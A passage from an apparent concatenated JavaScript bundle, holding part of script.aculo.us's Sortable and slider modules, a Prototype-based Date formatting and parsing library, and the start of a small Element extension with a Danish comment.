      delete Sortable.sortables[s.element.id];
    }
  },

  create: function(element) {
    element = $(element);
    var options = Object.extend({
      element:     element,
      tag:         'li',       // assumes li children, override with tag: 'tagname'
      dropOnEmpty: false,
      tree:        false,
      treeTag:     'ul',
      overlap:     'vertical', // one of 'vertical', 'horizontal'
      constraint:  'vertical', // one of 'vertical', 'horizontal', false
      containment: element,    // also takes array of elements (or id's); or false
      handle:      false,      // or a CSS class
      only:        false,
      delay:       0,
      hoverclass:  null,
      ghosting:    false,
      quiet:       false,
      scroll:      false,
      scrollSensitivity: 20,
      scrollSpeed: 15,
      format:      this.SERIALIZE_RULE,

      // these take arrays of elements or ids and can be
      // used for better initialization performance
      elements:    false,
      handles:     false,

      onChange:    Prototype.emptyFunction,
      onUpdate:    Prototype.emptyFunction
    }, arguments[1] || { });

    // clear any old sortable with same element
    this.destroy(element);

    // build options for the draggables
    var options_for_draggable = {
      revert:      true,
      quiet:       options.quiet,
      scroll:      options.scroll,
      scrollSpeed: options.scrollSpeed,
      scrollSensitivity: options.scrollSensitivity,
      delay:       options.delay,
      ghosting:    options.ghosting,
      constraint:  options.constraint,
      handle:      options.handle };

    if(options.starteffect)
      options_for_draggable.starteffect = options.starteffect;

    if(options.reverteffect)
      options_for_draggable.reverteffect = options.reverteffect;
    else
      if(options.ghosting) options_for_draggable.reverteffect = function(element) {
        element.style.top  = 0;
        element.style.left = 0;
      };

    if(options.endeffect)
      options_for_draggable.endeffect = options.endeffect;

    if(options.zindex)
      options_for_draggable.zindex = options.zindex;

    // build options for the droppables
    var options_for_droppable = {
      overlap:     options.overlap,
      containment: options.containment,
      tree:        options.tree,
      hoverclass:  options.hoverclass,
      onHover:     Sortable.onHover
    };

    var options_for_tree = {
      onHover:      Sortable.onEmptyHover,
      overlap:      options.overlap,
      containment:  options.containment,
      hoverclass:   options.hoverclass
    };

    // fix for gecko engine
    Element.cleanWhitespace(element);

    options.draggables = [];
    options.droppables = [];

    // drop on empty handling
    if(options.dropOnEmpty || options.tree) {
      Droppables.add(element, options_for_tree);
      options.droppables.push(element);
    }

    (options.elements || this.findElements(element, options) || []).each( function(e,i) {
      var handle = options.handles ? $(options.handles[i]) :
        (options.handle ? $(e).select('.' + options.handle)[0] : e);
      options.draggables.push(
        new Draggable(e, Object.extend(options_for_draggable, { handle: handle })));
      Droppables.add(e, options_for_droppable);
      if(options.tree) e.treeNode = element;
      options.droppables.push(e);
    });

    if(options.tree) {
      (Sortable.findTreeElements(element, options) || []).each( function(e) {
        Droppables.add(e, options_for_tree);
        e.treeNode = element;
        options.droppables.push(e);
      });
    }

    // keep reference
    this.sortables[element.identify()] = options;

    // for onupdate
    Draggables.addObserver(new SortableObserver(element, options.onUpdate));

  },

  // return all suitable-for-sortable elements in a guaranteed order
  findElements: function(element, options) {
    return Element.findChildren(
      element, options.only, options.tree ? true : false, options.tag);
  },

  findTreeElements: function(element, options) {
    return Element.findChildren(
      element, options.only, options.tree ? true : false, options.treeTag);
  },

  onHover: function(element, dropon, overlap) {
    if(Element.isParent(dropon, element)) return;

    if(overlap > .33 && overlap < .66 && Sortable.options(dropon).tree) {
      return;
    } else if(overlap>0.5) {
      Sortable.mark(dropon, 'before');
      if(dropon.previousSibling != element) {
        var oldParentNode = element.parentNode;
        element.style.visibility = "hidden"; // fix gecko rendering
        dropon.parentNode.insertBefore(element, dropon);
        if(dropon.parentNode!=oldParentNode)
          Sortable.options(oldParentNode).onChange(element);
        Sortable.options(dropon.parentNode).onChange(element);
      }
    } else {
      Sortable.mark(dropon, 'after');
      var nextElement = dropon.nextSibling || null;
      if(nextElement != element) {
        var oldParentNode = element.parentNode;
        element.style.visibility = "hidden"; // fix gecko rendering
        dropon.parentNode.insertBefore(element, nextElement);
        if(dropon.parentNode!=oldParentNode)
          Sortable.options(oldParentNode).onChange(element);
        Sortable.options(dropon.parentNode).onChange(element);
      }
    }
  },

  onEmptyHover: function(element, dropon, overlap) {
    var oldParentNode = element.parentNode;
    var droponOptions = Sortable.options(dropon);

    if(!Element.isParent(dropon, element)) {
      var index;

      var children = Sortable.findElements(dropon, {tag: droponOptions.tag, only: droponOptions.only});
      var child = null;

      if(children) {
        var offset = Element.offsetSize(dropon, droponOptions.overlap) * (1.0 - overlap);

        for (index = 0; index < children.length; index += 1) {
          if (offset - Element.offsetSize (children[index], droponOptions.overlap) >= 0) {
            offset -= Element.offsetSize (children[index], droponOptions.overlap);
          } else if (offset - (Element.offsetSize (children[index], droponOptions.overlap) / 2) >= 0) {
            child = index + 1 < children.length ? children[index + 1] : null;
            break;
          } else {
            child = children[index];
            break;
          }
        }
      }

      dropon.insertBefore(element, child);

      Sortable.options(oldParentNode).onChange(element);
      droponOptions.onChange(element);
    }
  },

  unmark: function() {
    if(Sortable._marker) Sortable._marker.hide();
  },

  mark: function(dropon, position) {
    // mark on ghosting only
    var sortable = Sortable.options(dropon.parentNode);
    if(sortable && !sortable.ghosting) return;

    if(!Sortable._marker) {
      Sortable._marker =
        ($('dropmarker') || Element.extend(document.createElement('DIV'))).
          hide().addClassName('dropmarker').setStyle({position:'absolute'});
      document.getElementsByTagName("body").item(0).appendChild(Sortable._marker);
    }
    var offsets = dropon.cumulativeOffset();
    Sortable._marker.setStyle({left: offsets[0]+'px', top: offsets[1] + 'px'});

    if(position=='after')
      if(sortable.overlap == 'horizontal')
        Sortable._marker.setStyle({left: (offsets[0]+dropon.clientWidth) + 'px'});
      else
        Sortable._marker.setStyle({top: (offsets[1]+dropon.clientHeight) + 'px'});

    Sortable._marker.show();
  },

  _tree: function(element, options, parent) {
    var children = Sortable.findElements(element, options) || [];

    for (var i = 0; i < children.length; ++i) {
      var match = children[i].id.match(options.format);

      if (!match) continue;

      var child = {
        id: encodeURIComponent(match ? match[1] : null),
        element: element,
        parent: parent,
        children: [],
        position: parent.children.length,
        container: $(children[i]).down(options.treeTag)
      };

      /* Get the element containing the children and recurse over it */
      if (child.container)
        this._tree(child.container, options, child);

      parent.children.push (child);
    }

    return parent;
  },

  tree: function(element) {
    element = $(element);
    var sortableOptions = this.options(element);
    var options = Object.extend({
      tag: sortableOptions.tag,
      treeTag: sortableOptions.treeTag,
      only: sortableOptions.only,
      name: element.id,
      format: sortableOptions.format
    }, arguments[1] || { });

    var root = {
      id: null,
      parent: null,
      children: [],
      container: element,
      position: 0
    };

    return Sortable._tree(element, options, root);
  },

  /* Construct a [i] index for a particular node */
  _constructIndex: function(node) {
    var index = '';
    do {
      if (node.id) index = '[' + node.position + ']' + index;
    } while ((node = node.parent) != null);
    return index;
  },

  sequence: function(element) {
    element = $(element);
    var options = Object.extend(this.options(element), arguments[1] || { });

    return $(this.findElements(element, options) || []).map( function(item) {
      return item.id.match(options.format) ? item.id.match(options.format)[1] : '';
    });
  },

  setSequence: function(element, new_sequence) {
    element = $(element);
    var options = Object.extend(this.options(element), arguments[2] || { });

    var nodeMap = { };
    this.findElements(element, options).each( function(n) {
        if (n.id.match(options.format))
            nodeMap[n.id.match(options.format)[1]] = [n, n.parentNode];
        n.parentNode.removeChild(n);
    });

    new_sequence.each(function(ident) {
      var n = nodeMap[ident];
      if (n) {
        n[1].appendChild(n[0]);
        delete nodeMap[ident];
      }
    });
  },

  serialize: function(element) {
    element = $(element);
    var options = Object.extend(Sortable.options(element), arguments[1] || { });
    var name = encodeURIComponent(
      (arguments[1] && arguments[1].name) ? arguments[1].name : element.id);

    if (options.tree) {
      return Sortable.tree(element, arguments[1]).children.map( function (item) {
        return [name + Sortable._constructIndex(item) + "[id]=" +
                encodeURIComponent(item.id)].concat(item.children.map(arguments.callee));
      }).flatten().join('&');
    } else {
      return Sortable.sequence(element, arguments[1]).map( function(item) {
        return name + "[]=" + encodeURIComponent(item);
      }).join('&');
    }
  }
};

// Returns true if child is contained within element
Element.isParent = function(child, element) {
  if (!child.parentNode || child == element) return false;
  if (child.parentNode == element) return true;
  return Element.isParent(child.parentNode, element);
};

Element.findChildren = function(element, only, recursive, tagName) {
  if(!element.hasChildNodes()) return null;
  tagName = tagName.toUpperCase();
  if(only) only = [only].flatten();
  var elements = [];
  $A(element.childNodes).each( function(e) {
    if(e.tagName && e.tagName.toUpperCase()==tagName &&
      (!only || (Element.classNames(e).detect(function(v) { return only.include(v) }))))
        elements.push(e);
    if(recursive) {
      var grandchildren = Element.findChildren(e, only, recursive, tagName);
      if(grandchildren) elements.push(grandchildren);
    }
  });

  return (elements.length>0 ? elements.flatten() : []);
};

Element.offsetSize = function (element, type) {
  return element['offset' + ((type=='vertical' || type=='height') ? 'Height' : 'Width')];
};// script.aculo.us slider.js v1.9.0, Thu Dec 23 16:54:48 -0500 2010

// Copyright (c) 2005-2010 Marty Haught, Thomas Fuchs
//
// script.aculo.us is freely distributable under the terms of an MIT-style license.
// For details, see the script.aculo.us web site: http://script.aculo.us/

if (!Control) var Control = { };

// options:
//  axis: 'vertical', or 'horizontal' (default)
//
// callbacks:
//  onChange(value)
//  onSlide(value)
Control.Slider = Class.create({
  initialize: function(handle, track, options) {
    var slider = this;

    if (Object.isArray(handle)) {
      this.handles = handle.collect( function(e) { return $(e) });
    } else {
      this.handles = [$(handle)];
    }

    this.track   = $(track);
    this.options = options || { };

    this.axis      = this.options.axis || 'horizontal';
    this.increment = this.options.increment || 1;
    this.step      = parseInt(this.options.step || '1');
    this.range     = this.options.range || $R(0,1);

    this.value     = 0; // assure backwards compat
    this.values    = this.handles.map( function() { return 0 });
    this.spans     = this.options.spans ? this.options.spans.map(function(s){ return $(s) }) : false;
    this.options.startSpan = $(this.options.startSpan || null);
    this.options.endSpan   = $(this.options.endSpan || null);

    this.restricted = this.options.restricted || false;

    this.maximum   = this.options.maximum || this.range.end;
    this.minimum   = this.options.minimum || this.range.start;

    // Will be used to align the handle onto the track, if necessary
    this.alignX = parseInt(this.options.alignX || '0');
    this.alignY = parseInt(this.options.alignY || '0');

    this.trackLength = this.maximumOffset() - this.minimumOffset();

    this.handleLength = this.isVertical() ?
      (this.handles[0].offsetHeight != 0 ?
        this.handles[0].offsetHeight : this.handles[0].style.height.replace(/px$/,"")) :
      (this.handles[0].offsetWidth != 0 ? this.handles[0].offsetWidth :
        this.handles[0].style.width.replace(/px$/,""));

    this.active   = false;
    this.dragging = false;
    this.disabled = false;

    if (this.options.disabled) this.setDisabled();

    // Allowed values array
    this.allowedValues = this.options.values ? this.options.values.sortBy(Prototype.K) : false;
    if (this.allowedValues) {
      this.minimum = this.allowedValues.min();
      this.maximum = this.allowedValues.max();
    }

    this.eventMouseDown = this.startDrag.bindAsEventListener(this);
    this.eventMouseUp   = this.endDrag.bindAsEventListener(this);
    this.eventMouseMove = this.update.bindAsEventListener(this);

    // Initialize handles in reverse (make sure first handle is active)
    this.handles.each( function(h,i) {
      i = slider.handles.length-1-i;
      slider.setValue(parseFloat(
        (Object.isArray(slider.options.sliderValue) ?
          slider.options.sliderValue[i] : slider.options.sliderValue) ||
         slider.range.start), i);
      h.makePositioned().observe("mousedown", slider.eventMouseDown);
    });

    this.track.observe("mousedown", this.eventMouseDown);
    document.observe("mouseup", this.eventMouseUp);
    document.observe("mousemove", this.eventMouseMove);

    this.initialized = true;
  },
  dispose: function() {
    var slider = this;
    Event.stopObserving(this.track, "mousedown", this.eventMouseDown);
    Event.stopObserving(document, "mouseup", this.eventMouseUp);
    Event.stopObserving(document, "mousemove", this.eventMouseMove);
    this.handles.each( function(h) {
      Event.stopObserving(h, "mousedown", slider.eventMouseDown);
    });
  },
  setDisabled: function(){
    this.disabled = true;
  },
  setEnabled: function(){
    this.disabled = false;
  },
  getNearestValue: function(value){
    if (this.allowedValues){
      if (value >= this.allowedValues.max()) return(this.allowedValues.max());
      if (value <= this.allowedValues.min()) return(this.allowedValues.min());

      var offset = Math.abs(this.allowedValues[0] - value);
      var newValue = this.allowedValues[0];
      this.allowedValues.each( function(v) {
        var currentOffset = Math.abs(v - value);
        if (currentOffset <= offset){
          newValue = v;
          offset = currentOffset;
        }
      });
      return newValue;
    }
    if (value > this.range.end) return this.range.end;
    if (value < this.range.start) return this.range.start;
    return value;
  },
  setValue: function(sliderValue, handleIdx){
    if (!this.active) {
      this.activeHandleIdx = handleIdx || 0;
      this.activeHandle    = this.handles[this.activeHandleIdx];
      this.updateStyles();
    }
    handleIdx = handleIdx || this.activeHandleIdx || 0;
    if (this.initialized && this.restricted) {
      if ((handleIdx>0) && (sliderValue<this.values[handleIdx-1]))
        sliderValue = this.values[handleIdx-1];
      if ((handleIdx < (this.handles.length-1)) && (sliderValue>this.values[handleIdx+1]))
        sliderValue = this.values[handleIdx+1];
    }
    sliderValue = this.getNearestValue(sliderValue);
    this.values[handleIdx] = sliderValue;
    this.value = this.values[0]; // assure backwards compat

    this.handles[handleIdx].style[this.isVertical() ? 'top' : 'left'] =
      this.translateToPx(sliderValue);

    this.drawSpans();
    if (!this.dragging || !this.event) this.updateFinished();
  },
  setValueBy: function(delta, handleIdx) {
    this.setValue(this.values[handleIdx || this.activeHandleIdx || 0] + delta,
      handleIdx || this.activeHandleIdx || 0);
  },
  translateToPx: function(value) {
    return Math.round(
      ((this.trackLength-this.handleLength)/(this.range.end-this.range.start)) *
      (value - this.range.start)) + "px";
  },
  translateToValue: function(offset) {
    return ((offset/(this.trackLength-this.handleLength) *
      (this.range.end-this.range.start)) + this.range.start);
  },
  getRange: function(range) {
    var v = this.values.sortBy(Prototype.K);
    range = range || 0;
    return $R(v[range],v[range+1]);
  },
  minimumOffset: function(){
    return(this.isVertical() ? this.alignY : this.alignX);
  },
  maximumOffset: function(){
    return(this.isVertical() ?
      (this.track.offsetHeight != 0 ? this.track.offsetHeight :
        this.track.style.height.replace(/px$/,"")) - this.alignY :
      (this.track.offsetWidth != 0 ? this.track.offsetWidth :
        this.track.style.width.replace(/px$/,"")) - this.alignX);
  },
  isVertical:  function(){
    return (this.axis == 'vertical');
  },
  drawSpans: function() {
    var slider = this;
    if (this.spans)
      $R(0, this.spans.length-1).each(function(r) { slider.setSpan(slider.spans[r], slider.getRange(r)) });
    if (this.options.startSpan)
      this.setSpan(this.options.startSpan,
        $R(0, this.values.length>1 ? this.getRange(0).min() : this.value ));
    if (this.options.endSpan)
      this.setSpan(this.options.endSpan,
        $R(this.values.length>1 ? this.getRange(this.spans.length-1).max() : this.value, this.maximum));
  },
  setSpan: function(span, range) {
    if (this.isVertical()) {
      span.style.top = this.translateToPx(range.start);
      span.style.height = this.translateToPx(range.end - range.start + this.range.start);
    } else {
      span.style.left = this.translateToPx(range.start);
      span.style.width = this.translateToPx(range.end - range.start + this.range.start);
    }
  },
  updateStyles: function() {
    this.handles.each( function(h){ Element.removeClassName(h, 'selected') });
    Element.addClassName(this.activeHandle, 'selected');
  },
  startDrag: function(event) {
    if (Event.isLeftClick(event)) {
      if (!this.disabled){
        this.active = true;

        var handle = Event.element(event);
        var pointer  = [Event.pointerX(event), Event.pointerY(event)];
        var track = handle;
        if (track==this.track) {
          var offsets  = this.track.cumulativeOffset();
          this.event = event;
          this.setValue(this.translateToValue(
           (this.isVertical() ? pointer[1]-offsets[1] : pointer[0]-offsets[0])-(this.handleLength/2)
          ));
          var offsets  = this.activeHandle.cumulativeOffset();
          this.offsetX = (pointer[0] - offsets[0]);
          this.offsetY = (pointer[1] - offsets[1]);
        } else {
          // find the handle (prevents issues with Safari)
          while((this.handles.indexOf(handle) == -1) && handle.parentNode)
            handle = handle.parentNode;

          if (this.handles.indexOf(handle)!=-1) {
            this.activeHandle    = handle;
            this.activeHandleIdx = this.handles.indexOf(this.activeHandle);
            this.updateStyles();

            var offsets  = this.activeHandle.cumulativeOffset();
            this.offsetX = (pointer[0] - offsets[0]);
            this.offsetY = (pointer[1] - offsets[1]);
          }
        }
      }
      Event.stop(event);
    }
  },
  update: function(event) {
   if (this.active) {
      if (!this.dragging) this.dragging = true;
      this.draw(event);
      if (Prototype.Browser.WebKit) window.scrollBy(0,0);
      Event.stop(event);
   }
  },
  draw: function(event) {
    var pointer = [Event.pointerX(event), Event.pointerY(event)];
    var offsets = this.track.cumulativeOffset();
    pointer[0] -= this.offsetX + offsets[0];
    pointer[1] -= this.offsetY + offsets[1];
    this.event = event;
    this.setValue(this.translateToValue( this.isVertical() ? pointer[1] : pointer[0] ));
    if (this.initialized && this.options.onSlide)
      this.options.onSlide(this.values.length>1 ? this.values : this.value, this);
  },
  endDrag: function(event) {
    if (this.active && this.dragging) {
      this.finishDrag(event, true);
      Event.stop(event);
    }
    this.active = false;
    this.dragging = false;
  },
  finishDrag: function(event, success) {
    this.active = false;
    this.dragging = false;
    this.updateFinished();
  },
  updateFinished: function() {
    if (this.initialized && this.options.onChange)
      this.options.onChange(this.values.length>1 ? this.values : this.value, this);
    this.event = null;
  }
});
/**
 * Date instance methods
 *
 * @author Ken Snyder (ken d snyder at gmail dot com)
 * @date 2008-09-10
 * @version 2.0.2 (http://kendsnyder.com/sandbox/date/)
 * @license Creative Commons Attribution License 3.0 (http://creativecommons.org/licenses/by/3.0/)
 */
// begin by creating a scope for utility variables
(function() {
  //
  // pre-calculate the number of milliseconds in a day
  //
  var day = 24 * 60 * 60 * 1000;
	//
	// function to add leading zeros
	//
	var zeroPad = function(number, digits) {
		number = String(number);
		while (number.length < digits) number = '0' + number;
		return number;
	};
  //
  // set up integers and functions for adding to a date or subtracting two dates
  //
  var multipliers = {
    millisecond: 1,
    second: 1000,
    minute: 60 * 1000,
    hour: 60 * 60 * 1000,
    day: day,
    week: 7 * day,
    month: {
      // add a number of months
      add: function(d, number) {
        // add any years needed (increments of 12)
        multipliers.year.add(d, Math[number > 0 ? 'floor' : 'ceil'](number / 12));
        // ensure that we properly wrap betwen December and January
        var prevMonth = d.getMonth() + (number % 12);
        if (prevMonth == 12) {
          prevMonth = 0;
          d.setYear(d.getFullYear() + 1);
        } else if (prevMonth == -1) {
          prevMonth = 11;
          d.setYear(d.getFullYear() - 1);
        }
        d.setMonth(prevMonth);
      },
      // get the number of months between two Date objects (decimal to the nearest day)
      diff: function(d1, d2) {
        // get the number of years
        var diffYears = d1.getFullYear() - d2.getFullYear();
        // get the number of remaining months
        var diffMonths = d1.getMonth() - d2.getMonth() + (diffYears * 12);
        // get the number of remaining days
        var diffDays = d1.getDate() - d2.getDate();
        // return the month difference with the days difference as a decimal
        return diffMonths + (diffDays / 30);
      }
    },
    year: {
      // add a number of years
      add: function(d, number) {
        d.setYear(d.getFullYear() + Math[number > 0 ? 'floor' : 'ceil'](number));
      },
      // get the number of years between two Date objects (decimal to the nearest day)
      diff: function(d1, d2) {
        return multipliers.month.diff(d1, d2) / 12;
      }
    }    
  };
  //
  // alias each multiplier with an 's' to allow 'year' and 'years' for example
  //
  for (var unit in multipliers) {
		if (unit.substring(unit.length - 1) != 's') { // IE will iterate newly added properties :|
	    multipliers[unit + 's'] = multipliers[unit];
		}
  }
	//
	// take a date instance and a format code and return the formatted value
	//
	var format = function(d, code) {
		if (Date.prototype.strftime.formatShortcuts[code]) {
			// process any shortcuts recursively
			return d.strftime(Date.prototype.strftime.formatShortcuts[code]);
		} else {
			// get the format code function and toPaddedString() argument
			var getter = (Date.prototype.strftime.formatCodes[code] || '').split('.');
			var nbr = d['get' + getter[0]] ? d['get' + getter[0]]() : '';
			// run toPaddedString() if specified
			if (getter[1]) nbr = zeroPad(nbr, getter[1]);
			// prepend the leading character
			return nbr;
		}	
	};
  //
  // Add methods to Date instances
  //
  var instanceMethods = {
    //
    // Return a date one day ahead (or any other unit)
    //
    // @param string unit
    // units: year | month | day | week | hour | minute | second | millisecond
    // @return object Date
    //
    succ: function(unit) {
      return this.clone().add(1, unit);
    },
    //
    // Add an arbitrary amount to the currently stored date
    //
    // @param integer/float number    
    // @param string unit
    // @return object Date (chainable)    
    //
    add: function(number, unit) {
      var factor = multipliers[unit] || multipliers.day;
      if (typeof factor == 'number') {
        this.setTime(this.getTime() + (factor * number));
      } else {
        factor.add(this, number);
      }
      return this;
    },
    //
    // Find the difference between the current and another date
    //
    // @param string/object dateObj
    // @param string unit
    // @param boolean allowDecimal
    // @return integer/float
    //
    diff: function(dateObj, unit, allowDecimal) {
      // ensure we have a Date object
      dateObj = Date.create(dateObj);
      if (dateObj === null) return null;
      // get the multiplying factor integer or factor function
      var factor = multipliers[unit] || multipliers.day;
      if (typeof factor == 'number') {
        // multiply
        var unitDiff = (this.getTime() - dateObj.getTime()) / factor;
      } else {
        // run function
        var unitDiff = factor.diff(this, dateObj);
      }
      // if decimals are not allowed, round toward zero
      return (allowDecimal ? unitDiff : Math[unitDiff > 0 ? 'floor' : 'ceil'](unitDiff));      
    },
    //
    // Convert a date to a string using traditional strftime format codes
    //
    // @param string formatStr
    // @return string
    //
    strftime: function(formatStr) {
      // default the format string to year-month-day
      var source = formatStr || '%Y-%m-%d', result = '', match;
      // replace each format code
			while (source.length > 0) {
				if (match = source.match(Date.prototype.strftime.formatCodes.matcher)) {
	        result += source.slice(0, match.index);
	        result += (match[1] || '') + format(this, match[2]);
	        source = source.slice(match.index + match[0].length);
	      } else {
	        result += source, source = '';
	      }
	    }
			return result;
		},
    //
    // Return a proper two-digit year integer
    //
    // @return integer
    //
    getShortYear: function() {
      return this.getYear() % 100;
    },
    //
    // Get the number of the current month, 1-12
    //
    // @return integer
    //
    getMonthNumber: function() {
      return this.getMonth() + 1;
    },
    //
    // Get the name of the current month
    //
    // @return string
    //
    getMonthName: function() {
      return Date.MONTHNAMES[this.getMonth()];
    },
    //
    // Get the abbreviated name of the current month
    //
    // @return string
    //
    getAbbrMonthName: function() {
      return Date.ABBR_MONTHNAMES[this.getMonth()];
    },
    //
    // Get the name of the current week day
    //
    // @return string
    //    
    getDayName: function() {
      return Date.DAYNAMES[this.getDay()];
    },
    //
    // Get the abbreviated name of the current week day
    //
    // @return string
    //    
    getAbbrDayName: function() {
      return Date.ABBR_DAYNAMES[this.getDay()];
    },
    //
    // Get the ordinal string associated with the day of the month (i.e. st, nd, rd, th)
    //
    // @return string
    //    
    getDayOrdinal: function() {
      return Date.ORDINALNAMES[this.getDate() % 10];
    },
    //
    // Get the current hour on a 12-hour scheme
    //
    // @return integer
    //
    getHours12: function() {
      var hours = this.getHours();
      return hours > 12 ? hours - 12 : (hours == 0 ? 12 : hours);
    },
    //
    // Get the AM or PM for the current time
    //
    // @return string
    //
    getAmPm: function() {
      return this.getHours() >= 12 ? 'PM' : 'AM';
    },
    //
    // Get the current date as a Unix timestamp
    //
    // @return integer
    //
    getUnix: function() {
      return Math.round(this.getTime() / 1000, 0);
    },
    //
    // Get the GMT offset in hours and minutes (e.g. +06:30)
    //
    // @return string
    //
    getGmtOffset: function() {
      // divide the minutes offset by 60
      var hours = this.getTimezoneOffset() / 60;
      // decide if we are ahead of or behind GMT
      var prefix = hours < 0 ? '+' : '-';
      // remove the negative sign if any
      hours = Math.abs(hours);
      // add the +/- to the padded number of hours to : to the padded minutes
      return prefix + zeroPad(Math.floor(hours), 2) + ':' + zeroPad((hours % 1) * 60, 2);
    },
    //
    // Get the browser-reported name for the current timezone (e.g. MDT, Mountain Daylight Time)
    //
    // @return string
    //
    getTimezoneName: function() {
      var match = /(?:\((.+)\)$| ([A-Z]{3}) )/.exec(this.toString());
			return match[1] || match[2] || 'GMT' + this.getGmtOffset();
    },
    //
    // Convert the current date to an 8-digit integer (%Y%m%d)
    //
    // @return int
    //
    toYmdInt: function() {
      return (this.getFullYear() * 10000) + (this.getMonthNumber() * 100) + this.getDate();
    },	
    //
    // Create a copy of a date object
    //
    // @return object
    //		
		clone: function() {
			return new Date(this.getTime());
		}
  };
	for (var name in instanceMethods) Date.prototype[name] = instanceMethods[name];
  //
  // Add static methods to the date object
  //
  var staticMethods = {
    //
    // The heart of the date functionality: returns a date object if given a convertable value
    //
    // @param string/object/integer date
    // @return object Date
    //
    create: function(date) {
      // If the passed value is already a date object, return it
      if (date instanceof Date) return date;
      // If the passed value is an integer, interpret it as a unix timestamp
      if (typeof date == 'number') return new Date(date * 1000);
      // If the passed value is a string, attempt to parse it using Date.parse()
			var parsable = String(date).replace(/^\s*(.+)\s*$/, '$1'), i = 0, length = Date.create.patterns.length, pattern;
			var current = parsable;
			while (i < length) {
				ms = Date.parse(current);
				if (!isNaN(ms)) return new Date(ms);
				pattern = Date.create.patterns[i];
				if (typeof pattern == 'function') {
					obj = pattern(current);
					if (obj instanceof Date) return obj;
				} else {
					current = parsable.replace(pattern[0], pattern[1]);
				}
				i++;
			}
			return NaN;
    },
    //
    // constants representing month names, day names, and ordinal names
    // (same names as Ruby Date constants)
    //
    MONTHNAMES      : 'January February March April May June July August September October November December'.split(' '),
    ABBR_MONTHNAMES : 'Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec'.split(' '),
    DAYNAMES        : 'Sunday Monday Tuesday Wednesday Thursday Friday Saturday'.split(' '),
    ABBR_DAYNAMES   : 'Sun Mon Tue Wed Thu Fri Sat'.split(' '),
    ORDINALNAMES    : 'th st nd rd th th th th th th'.split(' '),
    //
    // Shortcut for full ISO-8601 date conversion
    //
    ISO: '%Y-%m-%dT%H:%M:%S.%N%G',
    //
    // Shortcut for SQL-type formatting
    //
    SQL: '%Y-%m-%d %H:%M:%S',
    //
    // Setter method for month, day, and ordinal names for i18n
    //
    // @param object newNames
    //
  	daysInMonth: function(year, month) {
  		if (month == 2)
  			return new Date(year, 1, 29).getDate() == 29 ? 29 : 28;
  		return [undefined,31,undefined,31,30,31,30,31,31,30,31,30,31][month];
  	}
  };
	for (var name in staticMethods) Date[name] = staticMethods[name];
 	//
  // format codes for strftime
  //
  // each code must be an array where the first member is the name of a Date.prototype function
  // and optionally a second member indicating the number to pass to Number#toPaddedString()
  //
	Date.prototype.strftime.formatCodes = {
    //
    // 2-part regex matcher for format codes
    //
    // first match must be the character before the code (to account for escaping)
    // second match must be the format code character(s)
    //
    matcher: /()%(#?(%|[a-z]))/i,
    // year
    Y: 'FullYear.4', // return 4 digits
    y: 'ShortYear.2',
    // month
    m: 'MonthNumber.2',
 '#m': 'MonthNumber',
    B: 'MonthName',
    b: 'AbbrMonthName',
    // day
    d: 'Date.2',
 '#d': 'Date',
    e: 'Date',
    A: 'DayName',
    a: 'AbbrDayName',
    w: 'Day',
    o: 'DayOrdinal',
    // hours
    H: 'Hours.2',
 '#H': 'Hours',
    I: 'Hours12.2',
 '#I': 'Hours12',
    p: 'AmPm',
    // minutes
    M: 'Minutes.2',
 '#M': 'Minutes',
    // seconds
    S: 'Seconds.2',
 '#S': 'Seconds',
    s: 'Unix',
    // milliseconds
    N: 'Milliseconds.3',
 '#N': 'Milliseconds',
    // timezone
    O: 'TimezoneOffset',
    Z: 'TimezoneName',
    G: 'GmtOffset'  
  };
  //
  // shortcuts that will be translated into their longer version
  //
  // be sure that format shortcuts do not refer to themselves: this will cause an infinite loop
  //
  Date.prototype.strftime.formatShortcuts = {
    // date
    F: '%Y-%m-%d',
    // time
    T: '%H:%M:%S',
    X: '%H:%M:%S',
    // local format date
    x: '%m/%d/%y',
    D: '%m/%d/%y',
    // local format extended
 '#c': '%a %b %e %H:%M:%S %Y',
    // local format short
    v: '%e-%b-%Y',
    R: '%H:%M',
    r: '%I:%M:%S %p',
    // tab and newline
    t: '\t',
    n: '\n',
  '%': '%'
  };
  //
  // A list of conversion patterns (array arguments sent directly to gsub)
  // Add, remove or splice a patterns to customize date parsing ability
  //
	Date.create.patterns = [
		function(str) { // UTC time
			var match = str.match(/([1-9]\d{3})\s*[\-/]\s*(1[0-2]|0\d)\s*[\-/]\s*(3[01]|[0-2]\d)[T\s]+(2[0-3]|[01]\d)\s*:\s*([0-5]\d)\s*:\s*([0-5]\d)\.(\d+)\w/);
			
			if ( match )
			{
				var d = new Date();
				d.setUTCFullYear(parseFloat(match[1]), parseFloat(match[2]) - 1 /*zero-based grrr!*/, parseFloat(match[3]));
				d.setUTCHours(parseFloat(match[4]), parseFloat(match[5]), parseFloat(match[6]), parseFloat(match[7]));
				
				return d;
			}
		},
    // [/([1-9]\d{3})\s*[\-/]\s*(1[0-2]|0\d)\s*[\-/]\s*(3[01]|[0-2]\d)[T\s]+(2[0-3]|[01]\d)\s*:\s*([0-5]\d)((\s*:\s*[0-5]\d)(\.\d+\w))?/, '$2/$3/$1 $4:$5$7'], // ISO time including actual time!
	[/-/g, '/'], // US-style time with dashes => Parsable US-style time
	[/st|nd|rd|th/g, ''], // remove st, nd, rd and th    
    [/(3[01]|[0-2]\d)\s*\.\s*(1[0-2]|0\d)\s*\.\s*([1-9]\d{3})/, '$2/$1/$3'], // World time => Parsable US-style time
    [/([1-9]\d{3})\s*-\s*(1[0-2]|0\d)\s*-\s*(3[01]|[0-2]\d)/, '$2/$3/$1'], // ISO-style time => Parsable US-style time
		function(str) { // 12-hour time
			var match = str.match(/^(?:(.+)\s+)?([1-9]|1[012])(?:\s*\:\s*(\d\d))?(?:\s*\:\s*(\d\d))?\s*(am|pm)\s*$/i);
			//                      ^opt. date  ^hour         ^opt. minute       ^opt. second          ^am or pm
			if (match) {
				if (match[1]) {
					var d = Date.create(match[1]);
					if (isNaN(d)) return;
				} else {
					var d = new Date();
					d.setMilliseconds(0);
				}
				var hour = parseFloat(match[2]);
				hour = match[5].toLowerCase() == 'am' ? (hour == 12 ? 0 : hour) : (hour == 12 ? 12 : hour + 12);
				d.setHours(hour, parseFloat(match[3] || 0), parseFloat(match[4] || 0));
				return d;
			}
		}		
  ];  
})();
//
// Create a convenience method for creating dates from strings
//
var $D = Date.create;
/*
 * HC staar bag det her - prik til ham hvis du har spoergsmaal eller ideer.
 */

if (!window.Prototype) {
	throw "You need Prototype to use the ID classes";
}

// Extending Element.Methods

Element.Methods.addClassNames = function(element, classNames)
{
	if (!(element = $(element))) return;
	classNames.split(' ').each(function(className) { element.addClassName(className); });
